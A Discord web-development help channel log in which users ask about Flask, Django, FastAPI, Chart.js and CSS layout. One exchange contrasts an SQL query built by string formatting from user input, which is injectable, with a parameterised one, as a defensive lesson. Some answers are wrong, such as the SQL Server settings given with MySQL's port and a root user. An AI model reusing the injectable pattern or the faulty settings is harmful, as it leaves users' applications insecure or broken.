#web-development
2 messages · Page 202 of 1
Ahh okayy yes thank you!,when i changed it to get it showed the result
If i wanna post a pdf to this url
How do i go about it ? I tried this code
@jaunty depot @haughty isle ```py
from flask import Flask, request
import requests
app = Flask(name)
@app.route('/api/',methods=['GET'])
def makecalc():
data=request.get_json()
return "hello"
def hello():
return "welcome"
if name == 'main':
app.run(debug=True)
and in another file i did this
import requests
import json
url = 'http://127.0.0.1:5000/api/'
files = {'file': open('C:\\Users\\Urja\\Desktop\\RDU.pdf')}
r = requests.post(url,files=files)
print(r,r.text)
but this gives alot of errors File "C:\Users\Urja\Desktop\env\lib\site-packages\requests\models.py", line 159, in _encode_files fdata = fp.read() File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.8_3.8.2800.0_x64__qbz5n2kfra8p0\lib\encodings\cp1252.py", line 23, in decode return codecs.charmap_decode(input,self.errors,decoding_table)[0] UnicodeDecodeError: 'charmap' codec can't decode byte 0x8f in position 1514: character maps to <undefined>
Could anyone here perhaps try and explain to me what the 'essence' is of the problem solving aspect of front-end development? i.e., compress the nature of the problems front-end devs face into a few words, if they happen to overlap a lot and aren't too distinct from each other.
It would initially appear that they do not get to work too intimately with logic and math.
You opened the file in text mode
But pdf is a bytes format
Yess ,thank you😁i added 'rb'
I want to return 2 json values and i tried this way
But it is wrong
Which two?
How did you determine it was wrong?
What did it do, and what did you expect it to do?
from flask import Flask, request
import requests
import domain1
new_js=domain1.js
new_js1=domain1.js1
app = Flask(__name__)
@app.route('/api/',methods=['POST'])
def makecalc():
data=request.get_json()
return new_js,new_js1
# def hello():
# return "welcome"
if __name__ == '__main__':
app.run(debug=True)
So i have a program domain.py which returns js,js1
And I'm trying to create an api for that program
I wanted it to return both the values
I get this ValueError: too many values to unpack (expected 2)
@haughty isle when i tried only value new_js it worked
AttributeError at /admin/
'Occupier' object has no attribute 'has_module_perms'
but i already have has_module_perms
def has_module_perms(self,app_label):
return True
where do i go if i need help with html
Show the full code and Traceback?
Show the full code and Traceback
Idiot question, I want to develop a web database system for my college project, what backend and database should I use? I never touch web dev before so I have no idea
I’m having trouble understanding what JavaScript bitwise is used for…. (I’m using w3schools)
I like postgresql
And django is pretty great
It all depends on your requirements, i think django might be a good choice if you need some features out-of-the-box, such as template rendering, orm and authentication, it can serve as an API too
If you need an API i'd say go with FastAPI rather than Django
as of database - Postgres is a good choice, but if you use orm you can use pretty much any database
hey folks, I'm having issues with ajax call results not working on iOS that I'm totally stuck on fixing
searching around it seems to be because of Apple caching the results so it's not fetching it in realtime
I know the .ajax() call has a parameter 'cache' will force requested pages to not be cached
but that only works for for head or get requests when I'm doing post
I am using flask if that matters
@sour epoch Almost all browsers support Fetch API:
https://developer.mozilla.org/en-US/docs/Web/API/fetch
you can specify {cache: "no-cache"} as init parameter
new to this whole thing so just want to clarify
do you mean to use the fetch api over jquery?
plain js has fetch function that allows you to make http calls
got it, thanks for the pointers
I'm not sure about clients exactly in httpx or aiohttp, is it good to have one client instance all the time? Or creating new clients each time? Or refresh clients after x amount of time?
In my FastAPI application, I'm just initializing one client on application startup
@app.on_event("startup")
async def startup() -> None:
app.request_client = httpx.AsyncClient()```
But I'm not sure if this is the best practice.
How to add multiple support for languages for internatiozation is there is any library in React
email = models.EmailField(verbose_name='email',max_length=59, unique=True)
username = models.CharField(max_length=30,unique=True)
occupations = models.CharField(max_length=200,null=False) #amount of occupations user does
#cliques = models.ForeignKey(Clique,null=True,on_delete=models.CASCADE) #cliques user is in
date_joined = models.DateTimeField(verbose_name='date joined', auto_now_add=True)
last_login = models.DateTimeField(verbose_name='last login', auto_now=True)
is_admin = models.BooleanField(default=False)
is_active = models.BooleanField(default=True)
is_staff = models.BooleanField(default=False)
is_superuser = models.BooleanField(default=False)
dob = models.DateField(blank=True, null=True,unique=True)
password = models.CharField(unique=True, max_length=200)
objects = OccupierManager()
USERNAME_FIELD = 'username'
REQUIRED_FIELDS = ['email','occupations','password','dob']
def __str___(self):
return self.username
def has_perm(self,perm, obj=None):
return self.is_admin
def has_module_perms(self,app_label):
return True```
And the Traceback?
Remember to use ```
oh i have fixed it by adding permission mixins , but gained another error
thanks
Which error though?
i dont understand jquery much but is there a way to reload this image without refreshing the page (cloudflares cache messes it up) example: /image/png.png?tick=mynumber i know how to do the tick stuff but that wont work unless u refresh
You could name the PNG after its hash?
i managed to fix it but it loop reloads until it loads ```php
<script>
function reload()
{
d = new Date();
$("#avatarthumb").attr("src", "/renders/users/<?php echo $_SESSION['id']?>.png?"+d.getTime());
}
</script>
<center>
<h1>Welcome, <?php echo $userRow->{'username'}?>!</h1>
<p>RENDER IMAGE THIS IS NOT FINAL HOME PAGE!!!!</p>
<img id="avatarthumb" onerror="reload()" src="/renders/users/<?php echo $_SESSION['id']?>.png" alt="Failed to render RE-RENDER in avatar editor">
</center>``` is it possible to make the reload() in the onerror fire 30 times and if it does and is still broken replace it with a different image
sorry if i explained it bad im not really sure how to explain it
PHP?
yes the site is a clone of https://roblox.com
Just don't return the html until the image has rendered
How long does a render take?
Advantages and Disadvantages of Python https://www.reddit.com/r/Python/comments/qyssfp/advantages_and_disadvantages_of_python/
What exactly is a smooth database?
hey guys can somone help me in #help-ramen its a flask related issue
can some one help me with this error "GET /static/core/css/core.css HTTP/1.1" 304 0
when we put a video url from Youtube that is playable on our website, which one would it take bandwidth from? My own website or Youtube?
Though Python is easy and simple to learn, when it comes to interacting with the database, Python lacks behind this. Most organizations want a smooth database so that there should not be any error, but python can’t give this.
What languages does Python lag behind when it comes to databases?
It executes the code line by line
This is just wrong
Python doesn’t support client-side programming, it only supports server-side programming.
You can make GUI apps in Python, although it's rarely a good choice, especially for mobile.
does anyone know how i can upload files to flask
like a simple jpeg. i have a html file input and i have field in sqlalchemy
Hi. Anyone knows which Casino API is used in this project? Please help me find out.
Project Link: https://github.com/Choyan7/bet/
Are you asking how flask can accept a jpg upload from a user, or are you asking how to incorporate a jpg in your html?
how it can accept a file upload or a jpeg
ik about the request.files
but idk how to actually get the client to send the image ot the server so that the server can automate the path
to be served to the template
i dont really need ot know now cos i just made a default for everything but if you wanna respond its up to you, knowledge is knowledge
hello ,
I need help
I have a problem , I want to connect django1.8.19 to microsoft sql server 2019
how to fix it ?
hey guys i need to build a text browser in python but im very confused
does anyone know what it means
import requests as req
import html2text
url = hidden for privacy
resp = req.get(url)
print(html2text.html2text(resp))```
this is what i have i just want it to formate the html so i can read it
What what means?
Hello
Does portfolio websites require backend languages or just frontend will do?
And if it ever does require backend, which one do you start with first? Backend or frontend?
@lilac stirrup
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.YourEngineDatabase',
'NAME': 'yourDatabaseName',
'HOST': '127.0.0.1',
'PORT': '3306',
'USER': 'root',
'PASSWORD': ''
}
}
In your case, you can put "SQLServer" in "ENGINE"
If you're using other HOST different to localhost, just write your host :b
Usally the default "PORT" is 3306. Sometimes is 8080 or 8000
The "USER" is usally root
And about the password, you don't need put it, but is recommended
@fading bough I'm not expert, but I think you can create a portfolio only with front-end
Because you don't need to send any information to a database.
is you flask app sending the duration?
take it out of <progress/> tag? i don't have full code so i don't really know how it should be formatted
what is max= when you inspect element?
i was looking at the wrong code anyway sorry. what is the value when you print playback.duration? and what is supposed to be the value? how long it has been playing?
the html is valid. it possibly doesn't work because of jinja2 templating try without the p tag
<br>{{playback.progress}} <progress value = {{playback.progress_ms}} max = {{playback.duration_ms}} />{{playback.duration}}
sure
ok
change your syntax to <progress value = {{playback.progress_ms}} max = {{playback.duration_ms}}></progress>
<p>{{playback.progress}} <progress value = {{playback.progress_ms}} max = {{playback.duration_ms}}></progress> {{playback.duration}}</p>
that should work promise lol
some tags can't be closed with < /> shorthand. you needed to use full </progress>. jinja2 should actually be throwing an error for that, but that's a different matter
hi im trying to make a error handler in flask and i was wondering if its possible to get the url that was requested
i looked in docs and couldnt find anything but i wanted to ask someone else before giving up on the idea
Is there a way to pass html through Django block content as a template. So any html file will render?
<!DOCTYPE html>
<html>
<head>
<title>The Dataset or something</title>
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
</head>
<body>
<div>
<canvas id="myChart"></canvas>
</div>
<script>
const chat = document.getElementById('myChart').getContext('2d');
const DATA_COUNT = 7;
const NUMBER_CFG = {count: DATA_COUNT, min: -100, max: 100};
const labels = ['season1', 'season2', 'season3']
const data = {
labels: labels,
datasets: [
{
label: 'Dataset 1',
data: [5, 4, 9],
borderColor: ['rgb(255, 99, 132)'],
backgroundColor: ['rgb(255, 99, 132)']
},
{
label: 'Dataset 2',
data: [5, 4, 9],
borderColor: ['rgba(153, 102, 255, 1)'],
backgroundColor: ['rgba(255, 159, 64, 0.2)']
}
]
};
const actions = [
{
name: 'Remove Data',
handler(chart) {
chart.data.labels.splice(-1, 1); // remove the label first
chart.data.datasets.forEach(dataset => {
dataset.data.pop();
});
chart.update();
}
}
];
const config = {
type: 'line',
data: data,
options: {
responsive: true,
plugins: {
legend: {
position: 'top',
},
title: {
display: true,
text: 'Chart.js Line Chart'
}
}
},
};
const myChart = new Chart(
document.getElementById('myChart'),
config
);
</script>
</body>
</html>```
I dont see "remove data" action
why?
this is it
i just wanted to create a quiz/multiple choice questions by django, so how can i do that first i want to show questions to the user then after the test i just wanna render thier result , same like Google Forms/MCQ software
My UserModel looks like this: ```py
class User(_ABU, _PM):
id = models.BigAutoField()
username = models.CharField()
first_name = models.CharField()
last_name = models.CharField()
email_id = models.EmailField()
user_type = models.CharField(
max_length=2,
choices=[
("s", _("Student")),
("t", _("Teacher")),
("p", _("Parent")),
("m", _("Management")),
("a", _("Administrator")),
])
date_of_birth = models.DateField()
contact_no = models.CharField()
address = models.TextField()
is_superuser = models.BooleanField(default=False)
is_staff = models.BooleanField(default=False)
is_active = models.BooleanField(default=True)
creation_time = models.DateTimeField()
ip_address = models.GenericIPAddressField()
authorization_token = models.CharField()
USERNAME_FIELD = "username"
EMAIL_FIELD = "email_id"
REQUIRED_FIELDS = [
"first_name",
"last_name",
"email_id",
"user_type",
"date_of_birth",
"contact_no",
"address",
]
objects = UserManager()
And UserManager likepy
class UserManager(_BUM):
def create_superuser(
self,
username,
first_name,
last_name,
email_id,
user_type,
date_of_birth,
contact_no,
address,
password,
**extra_fields,
):
# Unrelated stuff here...
user = self.model(
username=username,
first_name=first_name,
last_name=last_name,
email_id=email_id,
user_type="a",
date_of_birth=date_of_birth,
contact_no=contact_no,
address=address,
creation_time=cur_time,
authorization_token=auth_token,
**extra_fields,
)
user.set_password(password)
user.save()
return user
I need the user_type field to not be asked while creating a superuser from terminal and instead pass a fixed value (a in this case).. How do I do so?
If I edit the REQUIRED_FIELDS option and remove user_type from it, will it only affect the terminal? Or will it also affect the ModelForms on the site?
heya i am making a chrome extension which changes a css property of a website so the property name is --background-primary i tried using JavaScript like :
let root = document.documentElement;
root.style.setProperty('--background-primary', '#202225')
it works but when i click the site it goes back to normal, how can i work this around?
who can help me?
I have seen many methods but it does not work
Does anyone know flask here?
Yes. Do you have a specific Flask question?
instance.client = Client.objects.get(id=int(validated_data['client']['id'])),
throws error as it should be a client object but its a tuple containing the client object somehow
ValueError: Cannot assign "(<Client: Client 1205>,)": "Financement.client" must be a "Client" instance.
how to fix?
i deployed my django app on heroku, now, if i want to make more changes on it and to run it on local host again, what should i do?
someone please
Is to ideal to create a user “desktop” UI to control their website?
oh wassup, can u help me please?
I mean with Tkinter
What do you mean by ideal and control? And who are "they" and which website?
Woah woah woah django 4.0 rc1 is out, very nice
Is it possible to .set() or .add() with a value versus an id?
I'd recommend using a web UI if it's something web based.
What are you calling .set() and .add() on?
Adding M2M relations to an object.
I have a list on the front-end with objects including ids, and I realized that if one of the ids in the backend changes, it will no longer be accurate.
So I wanted to go by value instead.
Ok, your IDs should never change once they're assigned. You can look up an object by some value and add that, yeah.
So what if a value on the backend is deleted and recreated.
Even if I'm keeping the value the same, it has a new id.
I could do a lookup yea, but it seems that might add some significant delay if I have lists of ids that have to get looked up.
This basically adds tags to an object, but if I have to lookup the id of every tag getting set to the object, it just feels like that's a lot of extra work the function has to do.
The tags a required to be unique, so I don't have to worry about dupes, but I just don't know if it's possible to do it this way at all.
Are my options basically keep an accurate list on the FE or lookup everything on the BE?
You could diff the state of your new and old object
What do you mean?
check if the existing tags match whatever the state of the object in the db is
plus any changes/updates
well, that's only half of the problem
i'm guessing your data model is entry -> entry-tag -> tag
I guess the solution is don't let people change tags once they're created. They can "edit" tags by creating a new entry-tag relation instead.
Not worried about it from the user, but that feels like fragile code in case I ever change anything on the BE and forget that it matters.
If I lookup, then of course it'll always be accurate, but it feels like a lot of overhead cost for that safety.
Maybe that's just how it goes. 🙂
Yeah that's the downside of that data model
It makes it easier to search by tag though, since you're doing 1 text scan instead of n
Decide if you want to optimize for writing or reading.
slap an index on there and it would be reasonably fast
assuming you're using pgsql with django
https://docs.djangoproject.com/en/3.2/ref/contrib/postgres/indexes/#ginindex
Yep Thanks, iIll take a look.
hi, I've got two textarea boxes and I want to copy the input from one to the other as it's being typed not sure how
add an event listener for on "input", copy the value property of the text box a to the value property of the text box b
@tepid lark is there a way to do this purely in python? I'm not familiar with JS
i need help with django
badly formed hexadecimal uuid string error can some one resolve it?
Is it possible to host a Django website with a shared hosting plan?
this is taking so much time could someone tell me where my missing correct lines. cant find any thing very well explained on django docs and neither on the youtube . or google kindly help . i cant march further bcoz of this uuid error. thx
check your data @royal hazel
I wanna make an basic HTML site like this: https://www.vortex.com/
do you know any tools to make it like that?
can I ask general web development questions here relating to html/css/js or does it have to be related to python?
Did you try deleting the blank line in your template that is indicated in the error message?
yeah u can , but for backend try to only ask for django,flask n fastapi + u can ask for some js stuff too np
Hey so i've been working on django from more then 5 months now i'm freelancing too
so my issue is
sometimes i face issues at understanding code of another developer ;-; his/her way is different , beside the fact i can get same result
- i'm sometimes unable/take much time to think logic hmm like u can say a mcq/quiz based app
- idk js so it's a barrier for me + i face issues at doing some different kind of stuff like applying agora's api (any api ) n some messy stuff.
so how can i kill this issue

hey i have been learning HTML since 5-6 months now, maybe i can help
You can make more changes in your local system without doing anything. Once you are okay with these changes you need to deploy again on heroku for your latest changes .
If you run js in a button, but want the button to continue it's function if true. How would you do that
I have the checks working but now it's not going to the next page
i would advice against learning anything that makes sites like that.
It looks like being created with horribly outdated methods, which aren't used already 20 years.
For example.... creators of this website were making positioning of elements with TABLE. disgusting.
positioning should be done with Flexboxes ,Grids, Position Absolute from Position Relative, Margins/Paddings... and as a last resort with Float
Why is float a last resort?
Because Flexboxes allow 10 times nicer adapative scaling
Flexbox will make your website behave much nicer when scaling from mobile to PC version of any screen, they give quite big amount of... flexibility, while floats limit you only to the simpliest scaling. And flexboxes give much better control in how to position elements within one line (while Floats are basically stuck with only one type of positioning)
And in addition because Floats have the problem... with requiring hacks against overflow to bottom elements
Well said, thanks!
hey sorry to disturb , i need strong help can anyone help?
I am trying to use social authentication in my project, so I came to know about django-allauth. I searched for some documentation and I find it difficult to understand. Can someone suggest some resources.
i already used google sites but i feel that modern ui sites are kinda looks boring and they are the rage these days so i thought to make something standout and cool. I know its outdated but some people understand the value and the history of these old sites.
and also i am not making a mobile site so it doesnt matter
u can make outdated look with modern tools easily.
The point is that you'll have much better code and easier time to do that
play the game: https://mastery.games/flexboxzombies/
and learn in the process.
after killing all zombies, you'll have a good hang of flexboxes
it will be like a reflex to shoot out of crossbow ;b
After that play this game to learn Grids
https://cssgridgarden.com/
plus preferably I highly recommend to read this book:
it covers all HTML+CSS basics
just to be sure... 95% of positioning problems are handled with flexboxes
3% of problems require knowing grids
2% of problems require knowing Position Absolute from Position Relative, background-position or Fixed position
that's it. the rest is handled with padding and margin properties
i get all this, i will see these resources but the thing is that are there are any tools which allows you to use raw html code to build sites? or you need to use the old way by downloading an html template?
I use vscode, it works fine
just installed plugins to have html highlighting and linting
i mean, google sites aint gonna do this, right?
vscode and other code editors are the only option right?
install visual code
like pycharm
ok
as a poor man start, even notepad++ could be used
but vscode with plugins is much better
i see
after vscode installation, see plugins to have support for HTML/CSS
just try something the most popular having installed
all you need to have usually
highlighting + linting fomatting on file save.
If i am connecting MySQL from a remote server in django do i need to install pip MySQLclient ?
hi I need help
I need to pass a token to an api but I dont know how to request the token from the session
it's a org.apache.struts.taglib.html.TOKEN
i am using chart.js and i want to stop from adding datasets that are already in the chart ```js
const actions = [
{
name: 'User',
handler(chart) {
const data = chart.data;
const dsColor = ['rgb(235, 106, 0)'];
const newDataset = {
label: 'User',
backgroundColor: ['rgb(235, 106, 0)'],
borderColor: dsColor,
data: [5,4,6]
};
chart.data.datasets.push(newDataset);
chart.update();
}
},
},
I have a model with DateField field and a manager for that model like ```py
manager
class UserManager(BaseUserManager):
def create_user(self, date, ...):
...
return self.model(date=date, ...)
model
class UserModel(AbstractBaseModel, PermissionsMixin):
...
date = models.DateField(...)
objects = UserManager()
If I input a string or datetime object as date field, like ```py
user = UserModel.objects.create(date='2000-01-01') # or datetime.datetime.now()
``` it raises exception `TypeError: expected string or bytes-like object`... How should I input the date to create an object then?
guys i am a beginner
so i wants some suggestion
that learning only python is worth it? for web dev
means does it requires html css javascript
I'm trying to make a website that shows data from a webhook onto the page, Does anyone know if it's possible? And if it is, How?
Could I use the sockets import to display the webhooks data?
I am using Celery with Flower. Many times, the task status shown in the Flower dashboard is stale. The task could be SUCCESS and the dashboard shows it as STARTED
Why does that happen?
any open source project to participate ?
@stark cliff you would need to know html css and js, at minimum, to be a web developer. Python is used on the backend.
FastAPI is awesome
I want to study in Canada, does anyone know what scholarship I could apply to.
I'm a good student more than 80%
great level in english with a good accent
northern african
exactly Algeria
Oh
Thanks
$uid = $userRow->{"id"};
if (loggedIn() == true) {
// $time_start = microtime(true);
$cmd = escapeshellcmd('start python main.py PNG 1024 1024 '.$uid); // this is fomatted like: FileType X Y UserID - dont mess with this we dont want to mess with the renders
$output = shell_exec($cmd);
print_r($output);
$success = "True";
$renderurl = "/renders/users/".$userRow->{"id"}.".png";
$msg = "Null";//. //(microtime(true) - $time_start);
$empResponse = array('Success' => $success, 'Render URL' => $renderurl, 'Message:' => $msg);
header('Content-Type: application/json');
echo json_encode($empResponse);
} else {
$msg = "API OK";
$empResponse = array('msg' => $msg);
header('Content-Type: application/json');
echo json_encode($empResponse);
}``` does anyone know why this doesnt display any output from the exec im trying to get the output to check for errors so if it does error itll make the image a error image instead
Hi everyone.
What is the best way to practice database only? How to do database related work very well with Python.
?
you could make a script remember where it left off using sqlite
Anyone have an example of how to decompress a gzipped HTTP response? I've googled several examples, however none seem to work for me. When I look at the response, it's not decoded.
requests should handle that, shouldn't it?
!d gzip.decompress There's this otherwise.
gzip.decompress(data)```
Decompress the *data*, returning a [`bytes`](https://docs.python.org/3/library/stdtypes.html#bytes "bytes") object containing the uncompressed data.
New in version 3.2.
How do I accept different date formats in models.DateField field?
Like if I input any value, it says only YYYY-MM-DD is allowed (django.core.exceptions.ValidationError: ['“22-04-2004” value has an invalid date format. It must be in YYYY-MM-DD format.']) but I need to change it to allow multiple formats.... How do I do that? Maybe editing the Validator somehow... but idk how..
I have a question you can maybe help me with in #help-popcorn
(Its about not being able to find an element with xpath)
Normalize your input!
I don't know how your input is getting to your model, but I would recommend enforcing one date format.
Especially if you want to avoid MM-DD and MM-DD ambiguity.
I would recommend dateutil if you don't mind pulling in another dependency.
hello, how do i make a path only accessible to certain user flask
hello, how would I parse this?
<a class="item_link" href="need_to_parse_this_link" target="_blank"><span class="item_name">item name</span></a>
i am doing document.GetElementsByClassName('item_link') but it is undefined
https://flask.palletsprojects.com/en/2.0.x/patterns/viewdecorators/
^ Look at the example login_required decorator. You can expand on that. The rest is left as an exercise to the reader.
i have login required already for the url but then anyone who is logged in can access that url. So in mycode i did if session['email'] == 'evan@gmail.com': then run some code, if not then it returns unauthorized. would that work globally? meaning when my website is up and i have multiple elif statements that will work for differnet people being logged in?
can someone help please => django.db.utils.IntegrityError: insert or update on table "Occupy_post" violates foreign key constraint "Occupy_post_user_id_7dca33ac_fk_auth_user_id"
DETAIL: Key (user_id)=(3) is not present in table "auth_user".
Your code is correct...?
Try Array.from(document.getElementsByClassName("item_link")).map(a => a.href) If you want to get a list of hrefs?
GetElementsByClassName should be getElementsByClassName, JS is consistently camelCase.
You have the right idea. I don't know what your project looks like, but I wouldn't use a bunch of if statements like that. Have a list somewhere, in a database or even a flat file, of allowed users, and compare against that. It's much easier than having to change code every time you add or remove or a user.
but each user has to have different code underneath the if statements
like its uniuqe to each user
Whatever works for you.
but the code will work when online correct? like the session is global for different users if you know what i mean
In django rest framework when doing a GET request and the response should include more than one object many=True how to add to every object a reponse with its user name for example? (Since relation key depends on user id not name)
Or doing it in another way, how to get the user name from the user id ? Like how do you get a step back from user.id to user so you can go to user.name
U can add a method to the model u are using, call this method get_username, for example, and it should return the username as a string. Then you can add this get_username field to the serializer of such model. And then when you make the GET request the each object will return the user under get_username.
This is how I did a Comment class with such feature:
class Comment(models.Model):
resource = models.ForeignKey(Resource, on_delete=models.CASCADE)
user = models.ForeignKey(User, on_delete=models.CASCADE)
text = models.TextField(blank=False, null=False)
date_created = models.DateTimeField(default=timezone.now)
def get_username(self):
user = User.objects.get(id=self.user.id)
return user.username```
The serializer:
class CommentSerializer(serializers.ModelSerializer):
class Meta:
model = models.Comment
fields = ('id', 'resource', 'get_username', 'text', 'get_datetime')
And the GET list:
I'm trying to learn flask/jinja2 templates and am running into a problem with nesting. I'm trying to get the base HTML file to reference a child template that has the style but it seems to omit it entirely when the page is rendered. What am I doing wrong?
base.html (parent) sample:
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
{% block head %}{% endblock %}
<title>Test Page</title>
</head>
style.html (child) sample:
{% extends "base.html" %}
{% block head %}
<link rel="stylesheet" type="text/css" href="{{ url_for('static',filename='style.css') }}">
{% endblock %}
Sample of the rendered HTML file:
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Test Page</title>
</head>
There's a {% block content %}{% endblock %} section further down in the parent HTML that renders without issue. I'm not sure what I'm doing wrong here.
you're just doing it backwards. remove all the jinja tags out of style.html include the file instead from your base.html
Thank you! Does this have to be in an includes/ folder? Is this a folder I need to pass into Flask() as an option?
ye i use a folder. you don't have to
its probably to encrypt cookies. but that would be useful if they explained why in docs. haha
how do I protect my code from sql injections?
with an api?
that's not a correct/good answer
not a great question either tho really.
it's a broad question, but valid
its a bit broad. what code ? why where when?
I agree
i was probably rude. sorry
but it doesn't deserve a wrong answer
all good
@hasty sparrow it's a broad question. the main thing you can focus on is: don't let anything from your clients communicate with your database without you sanitazing it first
i added a question mark to make it friendlier
sorry, but it was a wrong answer
use api is not an answer
so no api and direct queries to the db is what we want?. then fuck it. sod apis everyone. chuck your dbs online
Haven't looked into it much, but I think there are modules that can create forms protected from stuff like that. Iirc, Django has that ability
no direct queries to the db is what we want? - yes :)
haha you're drunk on nosql http interaces. too much couch and mongo. lol
I prefer sql to nosql. I don't have a lot of experience with nosql/document dbs
but you're right sanitze is the straight 'answer'
now that you're here. do you agree with:
no direct queries to the db is what we want? - yes :)
like mongoql?
not seen it for postgres etc
can you?
is that what 'views' are. is that new?
not too familiar if im honest. as I just have a crud enpoint toa table and do REST
sorry, I don't understand your line in the middle. I'd argue that you don't want direct queries from 'world' to any dbs
i agree. you'd need... an API . lol
an API can be vulnerable to an SQL injection
Just don't format queries yourself. Use your library's substitution mechanism for this:
# BAD
cursor.execute("SELECT name, status FROM users WHERE id = {0}".format(user_supplied_id))
# BAD
cursor.execute("SELECT name, status FROM users WHERE id = {0}".format(my_DIY_escape(user_supplied_id)))
# GOOD
cursor.execute("SELECT name, status FROM users WHERE id = ?", (user_supplied_id,))
yep
but, I'd argue the above example isn't informative
it's syntax specific
what would be better?
I agree with @manic frost
but what's a non syntax specific answer?
I just think the example isn't informative
I don't have it atm :)
Well... I can't show an example for every substitution syntax in existence.
I know
cursor.execute("SELECT name, status FROM users WHERE id = {0}".format(user_supplied_id))
# GOOD
cursor.execute("SELECT name, status FROM users WHERE id = ?", (user_supplied_id,))
just want to say
these look the same to me :)
and I bet I'm not the only one
they do look similar
and that's why we have linters 😉 ```
$ bandit sql.py
[main] INFO profile include tests: None
[main] INFO profile exclude tests: None
[main] INFO cli include tests: None
[main] INFO cli exclude tests: None
[main] INFO running on Python 3.7.12
[node_visitor] INFO Unable to find qualified name for module: sql.py
Run started:2021-11-23 23:05:07.315541
Test results:
Issue: [B608:hardcoded_sql_expressions] Possible SQL injection vector through string-based query construction.
Severity: Medium Confidence: Medium
Location: sql.py:1:15
More Info: https://bandit.readthedocs.io/en/latest/plugins/b608_hardcoded_sql_expressions.html
1 cursor.execute("SELECT name, status FROM users WHERE id = {0}".format(user_supplied_id))
nice.
fix error, thnx for the additional context. I agree with your theory, but not with your example. I don't want argue specifics in this case unless it's to learn/teach something
# BAD
cursor.execute("SELECT name, status FROM users WHERE id = {0}".format(user_supplied_id))
# GOOD
cursor.execute("SELECT name, status FROM users WHERE id = ?", (user_supplied_id,))
so if you point out why these are different @hasty sparrow will have the perfect answer? can you do that?
no. I can't give the perfect answer :)
but I guarantee that is a language or even a framework specific syntax
please don't misunderstand me. I'm not here to belittle or disparage anyone
I don't have all the answers
I've contradicted you, yes
doesn't mean I think lesser of you :)
i get what you're saying. so the second parameter is cleaned by the api somehow not by the user.
if you're talking about the example, I don't know :)
in the first instance they join a string. its bad. in second they relying on api library whatever to make sure it's not dodgy
dont they have to escape it and pass it as 2nd param?
sorry, I'm not following. can you paste the context?
and also
if you're talking about escaping
that's that :)
that's what I wanted to point out
it doesn't matter, if you're using api. if you're not sanitazing/escaping data before you send it to db, you're in for a world of pain
again:
no direct queries to the db is what we want? - yes :)
why do you think that would be bad?
is this a trick question?
no :)
but I think that is the main point of what we are debating
well. it was said sarcastically and you're quite literal. so not sure what side you are for.
ah, sorry
didn't register the sarcasm
you fooled me :)
tongue in cheek
sorry :)
be good to know how execute is joining the paramter 'safely'
i guess it doesn't as uses the engine
hey. let's start over. I'm not sure what was the original point anymore
@native tide feel free to ask anything and if you don't have any questions, know that I have enjoyed our interaction very much
I'm going for a smoke :)
nice. same. i tried bandit just now also. such a great lib
it's the first time I hear about it :)
it blacklists all the fun stuff
link to the library?
🙈
👍
I'm not programming at my day job
would test it out for sure, if I was using python
:/
three back ticks ```
Uhh test?
<!doctype html>
<html>
<body>
<h1>hello world</h1>
<p>hello to the world. Please try visiting this helloworld</p>
<button><em>testtesttest</em></button>
</body>
</html>
@native tide we see your code
but you haven't said what's the problem?
@native tide please don't share screenshots
@native tide nobody can run them or do anything with the code
just a sec
hey
not sure which site to recommend to share code
but yours isn't extensive
and you're not descriptive
hey hows everyone i developed a web scraper and wanted to implement to avoid duplicating information into a database but i am stuck on how to do that
Are you working with a relational database? If you are you should look in to unique constraints.
no, i am working with firestore
What are you looking to avoid duplicating, exactly?
the information being scraped, so when i run it, it wont scrape the same stuff and instead move on to scraping anything that hasnt been scraped yet
Is it possible for you to check whether the data exists in the database before you save it? What does the data look like?
this data is saved automatically from the scraper straight to the database
May i ask why do some people use class based views instead of function based view?
https://codepen.io/rovihi6877-ineedsa-com/pen/rNzExaq
My JS code should create a new input box and focus to it every time the user presses enter. There are 2 problems I need help with:
The enter key needs to be pressed twice to create the text box.
The function doesn't seem to work on the newly created text box.
Can someone help me resolve this?
thank you!
Can someone explain what JavaScript bitwise are used for? I can’t get them……..
Hi, can anyone help me with Selenium? I want to login to Google Calendar using Selenium. Can anyone help me with that?
Anyone made a dosbox flask website? So you can play dos games via web?
It is commonly used for binary arithmetic. If you're only doing web development, there's no need to know it because most web apps don't include such operations
So shouldn't bread my skull over this, I get it.
Quick question: So I have some experience in Python, some experience in Javascript, but not much experience merging the two. Also, my experience with web backends is fairly limited. I'm working on a website where, for one part of it, a user will be redirected to a page where a video will be displayed. The video is generated based on the query string of the url. This generation may be possible in JS, but is very easy to do in Python and I've already written a simple script to take in the necessary params and output an mp4. What I'm not sure about is how best to create a backend that can call the script and then serve the resulting mp4 to the user. I'm aware that NodeJS has a way to call python scripts, but I don't know if that's best practice or not. I also know that Django is a popular choice for web backends, but I know very little about it so I don't know if it would be appropriate here. In case it matters, the rest of the website is mostly API calls and flashy frontend, so it's not like I need much more functionality. Please let me know if you have any advice on what framework makes the most sense.
Hi. What exactly do you need, just input user and pass in login form, or is it something more specific?
I don't know much about JavaScript but WRT Python frameworks, Django is more complex then what you need. Look into FastAPI and/or Flask
ok, thank you. For either flask or fastapi, do you have any suggestions for how to host it? I'm a uni student, which means I can't really afford much.
You shouldn't need to pay for a small project, what are you using now? Almost any VPS could work, free tier on any of the big three cloud platforms, maybe PythonAnywhere or Heroku or Digital Ocean... I don't have a good recommendation in particular because I usually self host on my own equipment
When I was in uni I used their servers
hmm, i'll see if my uni lets me host
Just username and password.
can anyone help me with my django code
You should just ask your question. This channel is specifically for Django related questions
okay
so i am using ckeditor in my blog which i have deployed on heroku. so now when i try to upload an image from my local machine it shows red cross on the image as in the image doesnt exist
but when i try to put a url of some other image from then internet it works just fine
does anyone know flask here?
need some help with flask
im following corey schafer's tutorial on flask, and i've encountered an error,
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(20), unique=True, nullable=False)
email = db.Column(db.String(120), unique=True, nullable=False)
image_file = db.Column(db.String(20), nullable=False, default='default.jpg')
password = db.Column(db.String(60), nullable=False)
posts = db.relationship('Post', backref='author', lazy=True)
def __repr__(self):
return f"User('{self.username}', '{self.email}', '{self.image_file}')"
```
when i try to add something to my database, that is user_1 = User(username = 'admin', email = 'admin@blog.com', password = 'password'), after db,session.add(user_1) and db.session.commit(), it's saying
File "<stdin>", line 1, in <module>
